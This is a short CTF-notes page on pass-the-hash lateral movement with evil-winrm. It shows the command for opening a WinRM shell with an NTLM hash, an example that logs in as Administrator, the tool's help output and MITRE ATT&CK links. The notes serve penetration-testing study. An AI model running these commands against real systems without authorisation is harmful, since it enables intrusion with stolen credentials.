> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/pth/pth-with-evil-winrm.md).

# PtH with evil-WinRM

Evil-WinRM is the ultimate WinRM shell for hacking/pentesting

**evil-winrm** can use NTLM-hashes with the `-H` parameter

```bash
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
```

Example:

```bash
evil-winrm -i $TARGET_IP -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
```

### Usage information

<details>

<summary>evil-winrm -h</summary>

```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ evil-winrm -h                                   
                                        
Evil-WinRM shell v3.5

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
        --spn SPN_PREFIX             SPN prefix for Kerberos auth (default HTTP)
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname. FQDN for Kerberos auth (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required if not using kerberos)
    -p, --password PASS              Password
    -H, --hash HASH                  NTHash
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -N, --no-rpath-completion        Disable remote path completion
    -l, --log                        Log the WinRM session
    -h, --help                       Display this help message
```

</details>

## Resources

Evil-WinRM - GitHub: <https://github.com/Hackplayers/evil-winrm>

Evil-WinRM - Kali Tools: <https://www.kali.org/tools/evil-winrm/>

Pass the Hash (T1550.002) - MITRE ATT\&CK: <https://attack.mitre.org/techniques/T1550/002/>